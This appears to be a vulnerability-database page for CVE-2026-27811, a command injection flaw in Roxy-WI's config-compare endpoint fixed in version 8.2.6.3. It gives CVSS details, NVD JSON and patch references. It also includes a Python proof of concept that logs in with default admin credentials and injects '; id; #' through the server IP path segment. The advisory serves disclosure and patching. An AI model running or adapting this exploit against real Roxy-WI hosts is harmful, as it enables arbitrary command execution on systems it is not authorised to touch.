Security Vulnerability Report
中文
CVE-2026-27811 CVSS 8.8 HIGH

CVE-2026-27811

Published: 2026-03-18 00:16:19
Last Modified: 2026-03-19 18:00:58

Description

Roxy-WI is a web interface for managing Haproxy, Nginx, Apache and Keepalived servers. Prior to version 8.2.6.3, a command injection vulnerability exists in the `/config/compare/<service>/<server_ip>/show` endpoint, allowed authenticated users to execute arbitrary system commands on the app host. The vulnerability exists in `app/modules/config/config.py` on line 362, where user input is directly formatted in the template string that is eventually executed. Version 8.2.6.3 fixes the issue.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:roxy-wi:roxy-wi:*:*:*:*:*:*:*:* - VULNERABLE
Roxy-WI < 8.2.6.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-27811 Roxy-WI Command Injection PoC import requests import sys target = sys.argv[1] if len(sys.argv) > 1 else "http://target:8000" username = "admin" password = "admin" # Login to get session session = requests.Session() login_data = {"username": username, "password": password} resp = session.post(f"{target}/login", data=login_data) if resp.status_code != 200: print("[-] Login failed") exit(1) # Command injection payload - inject 'id' command service = "haproxy" injected_ip = "; id; #" # Command injection payload url = f"{target}/config/compare/{service}/{injected_ip}/show" print(f"[*] Sending payload to: {url}") response = session.get(url) print(f"[*] Status: {response.status_code}") print(f"[*] Response preview: {response.text[:500]}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-27811", "sourceIdentifier": "[email protected]", "published": "2026-03-18T00:16:19.427", "lastModified": "2026-03-19T18:00:58.453", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Roxy-WI is a web interface for managing Haproxy, Nginx, Apache and Keepalived servers. Prior to version 8.2.6.3, a command injection vulnerability exists in the `/config/compare/<service>/<server_ip>/show` endpoint, allowed authenticated users to execute arbitrary system commands on the app host. The vulnerability exists in `app/modules/config/config.py` on line 362, where user input is directly formatted in the template string that is eventually executed. Version 8.2.6.3 fixes the issue."}, {"lang": "es", "value": "Roxy-WI es una interfaz web para gestionar servidores Haproxy, Nginx, Apache y Keepalived. Antes de la versión 8.2.6.3, existe una vulnerabilidad de inyección de comandos en el endpoint '/config/compare///show', que permitía a usuarios autenticados ejecutar comandos de sistema arbitrarios en el host de la aplicación. La vulnerabilidad se encuentra en 'app/modules/config/config.py' en la línea 362, donde la entrada del usuario se formatea directamente en la cadena de plantilla que finalmente se ejecuta. La versión 8.2.6.3 corrige el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-77"}, {"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:roxy-wi:roxy-wi:*:*:*:*:*:*:*:*", "versionEndExcluding": "8.2.6.3", "matchCriteriaId": "7F8C30DD-5F13-4330-8E8D-43C31AB41F5C"}]}]}], "references": [{"url": "https://github.com/roxy-wi/roxy-wi/commit/a10ac7306c252014f97a7213db4a9470300fa064", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/roxy-wi/roxy-wi/releases/tag/v8.2.6.3", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/roxy-wi/roxy-wi/security/advisories/GHSA-jvmv-cw47-jh77", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}